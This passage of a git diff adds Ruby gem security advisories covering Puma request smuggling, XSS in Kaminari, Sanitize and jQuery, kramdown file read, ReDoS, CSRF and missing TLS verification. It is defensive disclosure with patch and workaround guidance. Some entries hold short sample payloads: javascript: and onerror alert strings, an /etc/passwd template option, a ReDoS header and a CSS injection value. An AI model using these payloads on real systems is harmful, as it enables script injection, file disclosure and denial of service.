+++ b/advisories/_posts/2020-05-22-CVE-2020-11076.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2020-11076 (puma): HTTP Smuggling via Transfer-Encoding Header in Puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2020-11076
+  ghsa: x7jg-6pwg-fx5h
+  url: https://github.com/puma/puma/security/advisories/GHSA-x7jg-6pwg-fx5h
+  date: 2020-05-22
+  title: HTTP Smuggling via Transfer-Encoding Header in Puma
+  description: |
+    ### Impact
+
+    By using an invalid transfer-encoding header, an attacker could
+    [smuggle an HTTP response.](https://portswigger.net/web-security/request-smuggling)
+
+    ### Patches
+
+    The problem has been fixed in Puma 3.12.5 and Puma 4.3.4.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 3.12.5"
+  - ">= 4.3.4"
+---
diff --git a/advisories/_posts/2020-05-22-CVE-2020-11077.md b/advisories/_posts/2020-05-22-CVE-2020-11077.md
new file mode 100644
index 00000000..b65f7927
--- /dev/null
+++ b/advisories/_posts/2020-05-22-CVE-2020-11077.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2020-11077 (puma): HTTP Smuggling via Transfer-Encoding Header in Puma'
+comments: false
+categories:
+- puma
+advisory:
+  gem: puma
+  cve: 2020-11077
+  ghsa: w64w-qqph-5gxm
+  url: https://github.com/puma/puma/security/advisories/GHSA-w64w-qqph-5gxm
+  date: 2020-05-22
+  title: HTTP Smuggling via Transfer-Encoding Header in Puma
+  description: |
+    ### Impact
+
+    This is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.
+
+    A client could smuggle a request through a proxy, causing the proxy to send a response
+    back to another unknown client.
+
+    If the proxy uses persistent connections and the client adds another request in via HTTP
+    pipelining, the proxy may mistake it as the first request's body. Puma, however,
+    would see it as two requests, and when processing the second request, send back
+    a response that the proxy does not expect. If the proxy has reused the persistent
+    connection to Puma to send another request for a different client, the second response
+    from the first client will be sent to the second client.
+
+    ### Patches
+
+    The problem has been fixed in Puma 3.12.6 and Puma 4.3.5.
+  cvss_v3: 6.8
+  patched_versions:
+  - "~> 3.12.6"
+  - ">= 4.3.5"
+---
diff --git a/advisories/_posts/2020-05-28-CVE-2020-11082.md b/advisories/_posts/2020-05-28-CVE-2020-11082.md
new file mode 100644
index 00000000..7e6adaf1
--- /dev/null
+++ b/advisories/_posts/2020-05-28-CVE-2020-11082.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2020-11082 (kaminari): Cross-Site Scripting in Kaminari via `original_script_name`
+  parameter'
+comments: false
+categories:
+- kaminari
+advisory:
+  gem: kaminari
+  cve: 2020-11082
+  ghsa: r5jw-62xg-j433
+  url: https://github.com/kaminari/kaminari/security/advisories/GHSA-r5jw-62xg-j433
+  date: 2020-05-28
+  title: Cross-Site Scripting in Kaminari via `original_script_name` parameter
+  description: |
+    ### Impact
+    There was a vulnerability in versions of Kaminari that would allow an attacker to inject arbitrary code into pages with pagination links.
+
+    For example, an attacker could craft pagination links that link to other domain or host:
+    https://example.com/posts?page=4&original_script_name=https://another-host.example.com
+
+    In addition, an attacker could also craft pagination links that include JavaScript code that runs when a user clicks the link:
+    https://example.com/posts?page=4&original_script_name=javascript:alert(42)%3b//
+
+    ### Releases
+    The 1.2.1 gem including the patch has already been released.
+    All past released versions are affected by this vulnerability.
+
+    ### Workarounds
+    Application developers who can't update the gem can workaround by overriding the `PARAM_KEY_EXCEPT_LIST` constant.
+
+    ```ruby
+    module Kaminari::Helpers
+      PARAM_KEY_EXCEPT_LIST = [:authenticity_token, :commit, :utf8, :_method, :script_name, :original_script_name].freeze
+    end
+    ```
+  cvss_v3: 6.4
+  patched_versions:
+  - ">= 1.2.1"
+---
diff --git a/advisories/_posts/2020-06-05-CVE-2020-7663.md b/advisories/_posts/2020-06-05-CVE-2020-7663.md
new file mode 100644
index 00000000..5771d702
--- /dev/null
+++ b/advisories/_posts/2020-06-05-CVE-2020-7663.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2020-7663 (websocket-extensions): Regular Expression Denial of Service
+  in websocket-extensions (RubyGem)'
+comments: false
+categories:
+- websocket-extensions
+advisory:
+  gem: websocket-extensions
+  cve: 2020-7663
+  ghsa: g6wq-qcwm-j5g2
+  url: https://github.com/faye/websocket-extensions-ruby/security/advisories/GHSA-g6wq-qcwm-j5g2
+  date: 2020-06-05
+  title: Regular Expression Denial of Service in websocket-extensions (RubyGem)
+  description: |
+    ### Impact
+
+    The ReDoS flaw allows an attacker to exhaust the server's capacity to process
+    incoming requests by sending a WebSocket handshake request containing a header
+    of the following form:
+
+        Sec-WebSocket-Extensions: a; b="\c\c\c\c\c\c\c\c\c\c ...
+
+    That is, a header containing an unclosed string parameter value whose content is
+    a repeating two-byte sequence of a backslash and some other character. The
+    parser takes exponential time to reject this header as invalid, and this will
+    block the processing of any other work on the same thread. Thus if you are
+    running a single-threaded server, such a request can render your service
+    completely unavailable.
+
+    ### Workarounds
+
+    There are no known work-arounds other than disabling any public-facing WebSocket functionality you are operating.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.1.5"
+  related:
+    url:
+    - https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/
+---
diff --git a/advisories/_posts/2020-06-15-CVE-2020-8184.md b/advisories/_posts/2020-06-15-CVE-2020-8184.md
new file mode 100644
index 00000000..001e6187
--- /dev/null
+++ b/advisories/_posts/2020-06-15-CVE-2020-8184.md
@@ -0,0 +1,59 @@
+---
+layout: advisory
+title: 'CVE-2020-8184 (rack): Percent-encoded cookies can be used to overwrite existing
+  prefixed cookie names'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2020-8184
+  ghsa: j6w9-fv6q-3q52
+  url: https://groups.google.com/g/rubyonrails-security/c/OWtmozPH9Ak
+  title: Percent-encoded cookies can be used to overwrite existing prefixed cookie
+    names
+  date: 2020-06-15
+  description: |
+    It is possible to forge a secure or host-only cookie prefix in Rack using
+    an arbitrary cookie write by using URL encoding (percent-encoding) on the
+    name of the cookie. This could result in an application that is dependent on
+    this prefix to determine if a cookie is safe to process being manipulated
+    into processing an insecure or cross-origin request.
+    This vulnerability has been assigned the CVE identifier CVE-2020-8184.
+
+    Versions Affected:  rack < 2.2.3, rack < 2.1.4
+    Not affected:       Applications which do not rely on __Host- and __Secure- prefixes to determine if a cookie is safe to process
+    Fixed Versions:     rack >= 2.2.3, rack >= 2.1.4
+
+    Impact
+    ------
+
+    An attacker may be able to trick a vulnerable application into processing an
+    insecure (non-SSL) or cross-origin request if they can gain the ability to write
+    arbitrary cookies that are sent to the application.
+
+    Workarounds
+    -----------
+
+    If your application is impacted but you cannot upgrade to the released versions or apply
+    the provided patch, this issue can be temporarily addressed by adding the following workaround:
+
+    ```
+    module Rack
+      module Utils
+        module_function def parse_cookies_header(header)
+          return {} unless header
+          header.split(/[;] */n).each_with_object({}) do |cookie, cookies|
+            next if cookie.empty?
+            key, value = cookie.split('=', 2)
+            cookies[key] = (unescape(value) rescue value) unless cookies.key?(key)
+          end
+        end
+      end
+    end
+    ```
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.1.4"
+  - ">= 2.2.3"
+---
diff --git a/advisories/_posts/2020-06-16-CVE-2020-4054.md b/advisories/_posts/2020-06-16-CVE-2020-4054.md
new file mode 100644
index 00000000..2686d51b
--- /dev/null
+++ b/advisories/_posts/2020-06-16-CVE-2020-4054.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2020-4054 (sanitize): Cross-site scripting vulnerability via `<math>`
+  or `<svg>` element in Sanitize'
+comments: false
+categories:
+- sanitize
+advisory:
+  gem: sanitize
+  cve: 2020-4054
+  ghsa: p4x4-rw2p-8j8m
+  url: https://github.com/rgrove/sanitize/security/advisories/GHSA-p4x4-rw2p-8j8m
+  date: 2020-06-16
+  title: Cross-site scripting vulnerability via `<math>` or `<svg>` element in Sanitize
+  description: |
+    When HTML is sanitized using Sanitize's "relaxed" config or a custom config that allows certain
+    elements, some content in a `<math>` or `<svg>` element may not be sanitized correctly even if
+    `math` and `svg` are not in the allowlist.
+
+    You are likely to be vulnerable to this issue if you use Sanitize's relaxed config or a custom
+    config that allows one or more of the following HTML elements:
+
+    - `iframe`
+    - `math`
+    - `noembed`
+    - `noframes`
+    - `noscript`
+    - `plaintext`
+    - `script`
+    - `style`
+    - `svg`
+    - `xmp`
+
+    ### Impact
+
+    Using carefully crafted input, an attacker may be able to sneak arbitrary HTML through Sanitize,
+    potentially resulting in XSS (cross-site scripting) or other undesired behavior when that HTML is
+    rendered in a browser.
+
+    ### Releases
+
+    This problem has been fixed in Sanitize 5.2.1.
+
+    ### Workarounds
+
+    If upgrading is not possible, a workaround is to override the default value of Sanitize's
+    `:remove_contents` config option with the following value, which ensures that the contents of
+    `math` and `svg` elements (among others) are removed entirely when those elements are not in the
+    allowlist:
+
+    ```ruby
+    %w[iframe math noembed noframes noscript plaintext script style svg xmp]
+    ```
+
+    For example, if you currently use Sanitize's relaxed config, you can create a custom config
+    object that overrides the default value of `:remove_contents` like this:
+
+    ```ruby
+    custom_config = Sanitize::Config.merge(
+      Sanitize::Config::RELAXED,
+      :remove_contents => %w[iframe math noembed noframes noscript plaintext script style svg xmp]
+    )
+    ```
+
+    You would then pass this custom config to Sanitize when sanitizing HTML.
+  cvss_v3: 7.3
+  patched_versions:
+  - ">= 5.2.1"
+  unaffected_versions:
+  - "< 3.0.0"
+---
diff --git a/advisories/_posts/2020-06-17-CVE-2020-8185.md b/advisories/_posts/2020-06-17-CVE-2020-8185.md
new file mode 100644
index 00000000..001c7fc1
--- /dev/null
+++ b/advisories/_posts/2020-06-17-CVE-2020-8185.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2020-8185 (actionpack): Untrusted users able to run pending migrations
+  in production'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2020-8185
+  ghsa: c6qr-h5vq-59jc
+  url: https://groups.google.com/g/rubyonrails-security/c/pAe9EV8gbM0
+  title: Untrusted users able to run pending migrations in production
+  date: 2020-06-17
+  description: |
+    There is a vulnerability in versions of Rails prior to 6.0.3.2 that allowed
+    an untrusted user to run any pending migrations on a Rails app running in
+    production.
+
+    This vulnerability has been assigned the CVE identifier CVE-2020-8185.
+
+    Versions Affected:  6.0.0 < rails < 6.0.3.2
+    Not affected:       Applications with `config.action_dispatch.show_exceptions = false` (this is not a default setting in production)
+    Fixed Versions:     rails >= 6.0.3.2
+
+    Impact
+    ------
+
+    Using this issue, an attacker would be able to execute any migrations that
+    are pending for a Rails app running in production mode. It is important to
+    note that an attacker is limited to running migrations the application
+    developer has already defined in their application and ones that have not
+    already ran.
+
+    Workarounds
+    -----------
+
+    Until such time as the patch can be applied, application developers should
+    disable the ActionDispatch middleware in their production environment via
+    a line such as this one in their config/environment/production.rb:
+
+    `config.middleware.delete ActionDispatch::ActionableExceptions`
+  cvss_v3: 6.5
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - ">= 6.0.3.2"
+---
diff --git a/advisories/_posts/2020-06-28-CVE-2020-14001.md b/advisories/_posts/2020-06-28-CVE-2020-14001.md
new file mode 100644
index 00000000..f49c39e0
--- /dev/null
+++ b/advisories/_posts/2020-06-28-CVE-2020-14001.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2020-14001 (kramdown): Unintended read access in kramdown gem'
+comments: false
+categories:
+- kramdown
+advisory:
+  gem: kramdown
+  cve: 2020-14001
+  ghsa: mqm2-cgpr-p4m6
+  date: 2020-06-28
+  url: https://github.com/advisories/GHSA-mqm2-cgpr-p4m6
+  title: Unintended read access in kramdown gem
+  description: |
+    The kramdown gem before 2.3.0 for Ruby processes the template option inside
+    Kramdown documents by default, which allows unintended read access (such as
+    template="/etc/passwd") or unintended embedded Ruby code execution (such as a
+    string that begins with template="string://<%= `). NOTE: kramdown is used in
+    Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 2.3.0"
+---
diff --git a/advisories/_posts/2020-07-15-CVE-2020-8203.md b/advisories/_posts/2020-07-15-CVE-2020-8203.md
new file mode 100644
index 00000000..df449c78
--- /dev/null
+++ b/advisories/_posts/2020-07-15-CVE-2020-8203.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2020-8203 (lodash-rails): Prototype Pollution in lodash'
+comments: false
+categories:
+- lodash-rails
+advisory:
+  gem: lodash-rails
+  cve: 2020-8203
+  ghsa: p6mc-m468-83gw
+  url: https://github.com/advisories/GHSA-p6mc-m468-83gw
+  title: Prototype Pollution in lodash
+  date: 2020-07-15
+  description: |
+    Versions of lodash prior to 4.17.19 are vulnerable to Prototype
+    Pollution. The functions `pick`, `set`, `setWith`, `update`,
+    `updateWith`, and `zipObjectDeep` allow a malicious user to
+    modify the prototype of Object if the property identifiers are
+    user-supplied. Being affected by this issue requires manipulating
+    objects based on user-provided property values or arrays.
+
+    This vulnerability causes the addition or modification of an
+    existing property that will exist on all objects and may lead to
+    Denial of Service or Code Execution under specific circumstances.
+  cvss_v2: 5.8
+  cvss_v3: 7.4
+  unaffected_versions:
+  - "< 3.7.0"
+  patched_versions:
+  - ">= 4.17.19"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-8203
+    - https://hackerone.com/reports/712065
+    - https://github.com/lodash/lodash/issues/4744
+    - https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12
+    - https://github.com/lodash/lodash/issues/4874
+    - https://github.com/github/advisory-database/pull/2884
+    - https://hackerone.com/reports/864701
+    - https://github.com/lodash/lodash/wiki/Changelog#v41719
+    - https://web.archive.org/web/20210914001339/https://github.com/lodash/lodash/issues/4744
+    - https://security.netapp.com/advisory/ntap-20200724-0006
+    - https://github.com/advisories/GHSA-p6mc-m468-83gw
+---
diff --git a/advisories/_posts/2020-07-31-CVE-2020-15133.md b/advisories/_posts/2020-07-31-CVE-2020-15133.md
new file mode 100644
index 00000000..32be6ddf
--- /dev/null
+++ b/advisories/_posts/2020-07-31-CVE-2020-15133.md
@@ -0,0 +1,107 @@
+---
+layout: advisory
+title: 'CVE-2020-15133 (faye-websocket): Missing TLS certificate verification in faye-websocket'
+comments: false
+categories:
+- faye-websocket
+advisory:
+  gem: faye-websocket
+  cve: 2020-15133
+  ghsa: 2v5c-755p-p4gv
+  url: https://github.com/faye/faye-websocket-ruby/security/advisories/GHSA-2v5c-755p-p4gv
+  date: 2020-07-31
+  title: Missing TLS certificate verification in faye-websocket
+  description: |
+    The `Faye::WebSocket::Client` class uses the [`EM::Connection#start_tls`][1]
+    method in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL
+    is used for the connection. This method does not implement certificate
+    verification by default, meaning that it does not check that the server presents
+    a valid and trusted TLS certificate for the expected hostname. That means that
+    any `wss:` connection made using this library is vulnerable to a
+    man-in-the-middle attack, since it does not confirm the identity of the server
+    it is connected to.
+
+    This has been a requested feature in EventMachine for many years now; see for
+    example [#275][3], [#378][4], and [#814][5]. In June 2020, [em-http-request][6]
+    published an [advisory][7] related to this problem and fixed it by [implementing
+    TLS verification][8] in their own codebase; although EventMachine does not
+    implement certificate verification itself, it provides an extension point for
+    the caller to implement it, called [`ssl_verify_peer`][9]. Based on this
+    implementation, we have incorporated similar functionality into [faye-websocket
+    for Ruby][10], such that we use the `OpenSSL` module to perform two checks:
+
+    - The chain of certificates presented by the server is valid and ultimately
+      trusted by your root certificate set -- either your system default root
+      certificates, or a set provided at runtime
+    - The final certificate presented by the server is valid for the hostname used
+      in the request URI; if the connection is made via a proxy we use the hostname
+      from the request, not the proxy's hostname
+
+    After implementing verification in v1.1.6, em-http-request has elected to leave
+    the `:verify_peer` option switched off by default. We have decided to _enable_
+    this option by default in faye-websocket, but are publishing a minor release
+    with added functionality for configuring it. We are mindful of the fact that
+    this may break existing programs, but we consider it much more important that
+    all clients have TLS verification turned on by default. A client that is not
+    carrying out verification is either:
+
+    - talking to the expected server, and will not break under this change
+    - being attacked, and would benefit from being alerted to this fact
+    - deliberately talking to a server that would be rejected by verification
+
+    The latter case includes situations like talking to a non-public server using a
+    self-signed certificate. We consider this use case to be "working by accident",
+    rather than functionality that was actively supported, and it should be properly
+    and explicitly supported instead. To that end, we have added two new options to
+    the `Faye::WebSocket::Client` constructor: `tls.root_cert_file`, and
+    `tls.verify_peer`.
+
+    The `:root_cert_file` option lets you provide a different set of root
+    certificates in situations where you don't want to use your system's default
+    root certificates to verify the remote host. It should be a path or an array of
+    paths identifying the certificates to use instead of the defaults.
+
+    ```rb
+    client = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {
+      root_cert_file: 'path/to/certificate.pem'
+    })
+    ```
+
+    The `:verify_peer` option lets you turn verification off entirely. This should
+    be a last resort and we recommend using the `:root_cert_file` option if
+    possible.
+
+    ```rb
+    client = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {
+      verify_peer: false
+    })
+    ```
+
+    To get the new behaviour, please upgrade to v0.11.0 of the [Rubygems
+    package][10]. There are, unfortunately, no workarounds for this issue, as you
+    cannot enable `:verify_peer` in EventMachine unless the calling library contains
+    an implementation of `ssl_verify_peer` that actually checks the server's
+    certificates.
+
+    For further background information on this issue, please see [faye#524][12] and
+    [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel
+    Morsing][15] for providing invaluable assistance and feedback on this issue.
+
+    [1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:start_tls
+    [2]: https://rubygems.org/gems/eventmachine
+    [3]: https://github.com/eventmachine/eventmachine/issues/275
+    [4]: https://github.com/eventmachine/eventmachine/pull/378
+    [5]: https://github.com/eventmachine/eventmachine/issues/814
+    [6]: https://rubygems.org/gems/em-http-request
+    [7]: https://securitylab.github.com/advisories/GHSL-2020-094-igrigorik-em-http-request
+    [8]: https://github.com/igrigorik/em-http-request/pull/340
+    [9]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:ssl_verify_peer
+    [10]: https://rubygems.org/gems/faye-websocket
+    [12]: https://github.com/faye/faye/issues/524
+    [13]: https://github.com/faye/faye-websocket-ruby/pull/129
+    [14]: https://github.com/SpComb
+    [15]: https://github.com/DanielMorsing
+  cvss_v3: 8.0
+  patched_versions:
+  - ">= 0.11.0"
+---
diff --git a/advisories/_posts/2020-07-31-CVE-2020-15134.md b/advisories/_posts/2020-07-31-CVE-2020-15134.md
new file mode 100644
index 00000000..a3e07938
--- /dev/null
+++ b/advisories/_posts/2020-07-31-CVE-2020-15134.md
@@ -0,0 +1,105 @@
+---
+layout: advisory
+title: 'CVE-2020-15134 (faye): Missing TLS certificate verification'
+comments: false
+categories:
+- faye
+advisory:
+  gem: faye
+  cve: 2020-15134
+  ghsa: 3q49-h8f9-9fr9
+  url: https://github.com/faye/faye/security/advisories/GHSA-3q49-h8f9-9fr9
+  date: 2020-07-31
+  title: Missing TLS certificate verification
+  description: |
+    Faye uses [em-http-request][6] and [faye-websocket][10] in the Ruby version of
+    its client. Those libraries both use the [`EM::Connection#start_tls`][1] method
+    in [EventMachine][2] to implement the TLS handshake whenever a `wss:` URL is
+    used for the connection. This method does not implement certificate verification
+    by default, meaning that it does not check that the server presents a valid and
+    trusted TLS certificate for the expected hostname. That means that any `https:`
+    or `wss:` connection made using these libraries is vulnerable to a
+    man-in-the-middle attack, since it does not confirm the identity of the server
+    it is connected to.
+
+    The first request a Faye client makes is always sent via normal HTTP, but later
+    messages may be sent via WebSocket. Therefore it is vulnerable to the same
+    problem that these underlying libraries are, and we needed both libraries to
+    support TLS verification before Faye could claim to do the same. Your client
+    would still be insecure if its initial HTTPS request was verified, but later
+    WebSocket connections were not.
+
+    This has been a requested feature in EventMachine for many years now; see for
+    example [#275][3], [#378][4], and [#814][5]. In June 2020, em-http-request
+    published an [advisory][7] related to this problem and fixed it by [implementing
+    TLS verification][8] in their own codebase; although EventMachine does not
+    implement certificate verification itself, it provides an extension point for
+    the caller to implement it, called [`ssl_verify_peer`][9]. Based on this
+    implementation, we have incorporated similar functionality into faye-websocket.
+
+    After implementing verification in v1.1.6, em-http-request has elected to leave
+    the `:verify_peer` option switched off by default. We have decided to _enable_
+    this option by default in Faye, but are publishing a minor release with added
+    functionality for configuring it. We are mindful of the fact that this may break
+    existing programs, but we consider it much more important that all clients have
+    TLS verification turned on by default. A client that is not carrying out
+    verification is either:
+
+    - talking to the expected server, and will not break under this change
+    - being attacked, and would benefit from being alerted to this fact
+    - deliberately talking to a server that would be rejected by verification
+
+    The latter case includes situations like talking to a non-public server using a
+    self-signed certificate. We consider this use case to be "working by accident",
+    rather than functionality that was actively supported, and it should be properly
+    and explicitly supported instead.
+
+    We are releasing Faye v1.4.0, which enables verification by default and provides
+    a way to opt out of it:
+
+    ```rb
+    client = Faye::Client.new('https://example.com/', tls: { verify_peer: false })
+    ```
+
+    Unfortunately we can't offer an equivalent of the `:root_cert_file` option that
+    has been added to faye-websocket, because em-http-request does not support it.
+    If you need to talk to servers whose certificates are not recognised by your
+    default root certificates, then you need to add its certificate (or another one
+    that can verify it) to your system's root set.
+
+    The same functionality is now supported in the Node.js version, with a `tls`
+    option whose values will be passed to the `https` and `tls` modules as
+    appropriate when making connections. For example, you can provide your own CA
+    certificate:
+
+    ```js
+    var client = new faye.Client('https://example.com/', {
+      tls: {
+        ca: fs.readFileSync('path/to/certificate.pem')
+      }
+    });
+    ```
+
+    For further background information on this issue, please see [faye#524][12] and
+    [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel
+    Morsing][15] for providing invaluable assistance and feedback on this issue.
+
+    [1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:start_tls
+    [2]: https://rubygems.org/gems/eventmachine
+    [3]: https://github.com/eventmachine/eventmachine/issues/275
+    [4]: https://github.com/eventmachine/eventmachine/pull/378
+    [5]: https://github.com/eventmachine/eventmachine/issues/814
+    [6]: https://rubygems.org/gems/em-http-request
+    [7]: https://securitylab.github.com/advisories/GHSL-2020-094-igrigorik-em-http-request
+    [8]: https://github.com/igrigorik/em-http-request/pull/340
+    [9]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Connection:ssl_verify_peer
+    [10]: https://rubygems.org/gems/faye-websocket
+    [11]: https://faye.jcoglan.com/
+    [12]: https://github.com/faye/faye/issues/524
+    [13]: https://github.com/faye/faye-websocket-ruby/pull/129
+    [14]: https://github.com/SpComb
+    [15]: https://github.com/DanielMorsing
+  cvss_v3: 8.0
+  patched_versions:
+  - ">= 1.4.0"
+---
diff --git a/advisories/_posts/2020-08-04-CVE-2020-15109.md b/advisories/_posts/2020-08-04-CVE-2020-15109.md
new file mode 100644
index 00000000..f0247372
--- /dev/null
+++ b/advisories/_posts/2020-08-04-CVE-2020-15109.md
@@ -0,0 +1,77 @@
+---
+layout: advisory
+title: 'CVE-2020-15109 (solidus_frontend): Ability to change order address without
+  triggering address validations in solidus'
+comments: false
+categories:
+- solidus_frontend
+advisory:
+  gem: solidus_frontend
+  cve: 2020-15109
+  ghsa: 3mvg-rrrw-m7ph
+  url: https://github.com/solidusio/solidus/security/advisories/GHSA-3mvg-rrrw-m7ph
+  date: 2020-08-04
+  title: Ability to change order address without triggering address validations in
+    solidus
+  description: |
+    ### Impact
+    This vulnerability allows a malicious customer to craft request data with
+    parameters that allow changing the address of the current order without
+    changing the shipment costs associated with the new shipment.
+
+    All stores with at least two shipping zones and different costs of shipment
+    per zone are impacted.
+
+    E.g.
+
+    1. Store admin configured the store so that there are two zones in US:
+       * East Cost Zone - Shipping Method cost: $1
+       * West Cost Zone - Shipping Method cost: $10
+
+    The attacker user can know that shipping to NY is less expensive than to LA
+    just by testing different addresses in checkout.
+
+    2. The attacker user enters any NY shipping address in the address step
+    3. The attacker user chooses the $1 delivery option
+    4. The attacker user crafts a request with their real LA address, similar to:
+
+    ```
+    // POST #checkout/update:
+
+    {
+      state: 'payment',
+      order: {
+        ship_address_attributes: {
+          city: 'Los Angeles',
+          ...
+        }
+      }
+    }
+    ```
+
+    5. The attacker user proceeds with checking out with a new address and the $1
+    shipment costs.
+
+    Another scenario where this could be dangerous is:
+
+    > You cannot ship products in some zones and you are relying on Solidus
+    > Shipping Method building only to filter out unwanted zones. Malicious
+    > users can enter an allowed zone's address and change back to an unwanted
+    > one in the payment step by crafting a request with some proper
+    > ship_address_attributes.
+
+    This problem comes from how checkout permitted attributes are structured.
+    We have a single list of attributes that are permitted across the whole
+    checkout, no matter the step that is being submitted.
+
+    ### Workarounds
+    When it's not possible to upgrade to a supported patched version, please
+    use this gist to patch the store:
+
+    https://gist.github.com/kennyadsl/4618cd9797984cb64f7700a81bda889d
+  cvss_v3: 5.3
+  patched_versions:
+  - "~> 2.8.6"
+  - "~> 2.9.6"
+  - ">= 2.10.2"
+---
diff --git a/advisories/_posts/2020-08-04-CVE-2020-16252.md b/advisories/_posts/2020-08-04-CVE-2020-16252.md
new file mode 100644
index 00000000..0dee680b
--- /dev/null
+++ b/advisories/_posts/2020-08-04-CVE-2020-16252.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2020-16252 (field_test): CSRF Vulnerability with Non-Session Based Authentication'
+comments: false
+categories:
+- field_test
+advisory:
+  gem: field_test
+  cve: 2020-16252
+  ghsa: w542-cpp9-r3g7
+  url: https://github.com/ankane/field_test/issues/28
+  title: CSRF Vulnerability with Non-Session Based Authentication
+  date: 2020-08-04
+  description: |
+    The Field Test dashboard is vulnerable to CSRF with non-session based authentication methods.
+
+    ## Impact
+    The Field Test dashboard is vulnerable to CSRF with non-session based authentication methods,
+    like basic authentication. Session-based authentication methods (like Devise's default
+    authentication) are not affected.
+
+    A CSRF attack works by getting an authorized user to visit a malicious website and then
+    performing requests on behalf of the user. In this instance, a single endpoint is affected,
+    which allows for changing the variant assigned to a user.
+  cvss_v3: 4.3
+  unaffected_versions:
+  - "< 0.2.0"
+  patched_versions:
+  - ">= 0.4.0"
+---
diff --git a/advisories/_posts/2020-08-04-CVE-2020-16253.md b/advisories/_posts/2020-08-04-CVE-2020-16253.md
new file mode 100644
index 00000000..782659e6
--- /dev/null
+++ b/advisories/_posts/2020-08-04-CVE-2020-16253.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2020-16253 (pghero): CSRF Vulnerability with Non-Session Based Authentication'
+comments: false
+categories:
+- pghero
+advisory:
+  gem: pghero
+  cve: 2020-16253
+  ghsa: v6fx-752r-ccp2
+  url: https://github.com/ankane/pghero/issues/330
+  title: CSRF Vulnerability with Non-Session Based Authentication
+  date: 2020-08-04
+  description: |
+    The PgHero dashboard is vulnerable to CSRF with non-session based authentication methods.
+
+    ## Impact
+    The PgHero dashboard is vulnerable to cross-site request forgery (CSRF). This affects the Docker
+    image, Linux packages, and in specific cases, the Ruby gem. The Ruby gem is vulnerable with
+    non-session based authentication methods like basic authentication - session-based authentication
+    methods (like Devise's default authentication) are not affected.
+
+    A CSRF attack works by getting an authorized user to visit a malicious website and then performing
+    requests on behalf of the user. In this instance, actions include:
+
+    1. Canceling running queries
+    2. Running `EXPLAIN` on queries (without seeing the results, but can be used for denial of service
+       and other attacks)
+    3. Resetting query stats (running `pg_stat_statements_reset()`)
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 2.7.0"
+---
diff --git a/advisories/_posts/2020-08-04-CVE-2020-16254.md b/advisories/_posts/2020-08-04-CVE-2020-16254.md
new file mode 100644
index 00000000..82c76369
--- /dev/null
+++ b/advisories/_posts/2020-08-04-CVE-2020-16254.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2020-16254 (chartkick): CSS injection with width and height options'
+comments: false
+categories:
+- chartkick
+advisory:
+  gem: chartkick
+  cve: 2020-16254
+  ghsa: 3j95-fjv2-3m4p
+  url: https://github.com/ankane/chartkick/issues/546
+  title: CSS injection with width and height options
+  date: 2020-08-04
+  description: |
+    Chartkick is vulnerable to CSS injection
+    if user input is passed to the width or height option.
+
+    <%= line_chart data, width: params[:width], height: params[:height] %>
+
+    An attacker can set additional CSS properties, like:
+
+    <%= line_chart data, width: "100%; background-image: url('http://example.com/image.png')" %>
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 3.4.0"
+---
diff --git a/advisories/_posts/2020-09-01-CVE-2012-6708.md b/advisories/_posts/2020-09-01-CVE-2012-6708.md
new file mode 100644
index 00000000..5933fbaa
--- /dev/null
+++ b/advisories/_posts/2020-09-01-CVE-2012-6708.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2012-6708 (jquery-rails): Cross-Site Scripting in jquery'
+comments: false
+categories:
+- jquery-rails
+- rails
+advisory:
+  gem: jquery-rails
+  framework: rails
+  cve: 2012-6708
+  ghsa: 2pqj-h3vj-pqgw
+  url: https://nvd.nist.gov/vuln/detail/cve-2012-6708
+  title: Cross-Site Scripting in jquery
+  date: 2020-09-01
+  description: |
+    Affected versions of `jquery` are vulnerable to cross-site scripting.
+    This occurs because the main `jquery` function uses a regular expression
+    to differentiate between HTML and selectors, but does not properly anchor
+    the regular expression. The result is that `jquery` may interpret HTML
+    as selectors when given certain inputs, allowing for client side code
+    execution.
+
+    ## Proof of Concept
+    $("#log").html(
+        $("element[attribute='<img src=\"x\" onerror=\"alert(1)\" />']").html()
+    );
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - "~> 2.1.4"
+  - ">= 2.2.0"
+  related:
+    url:
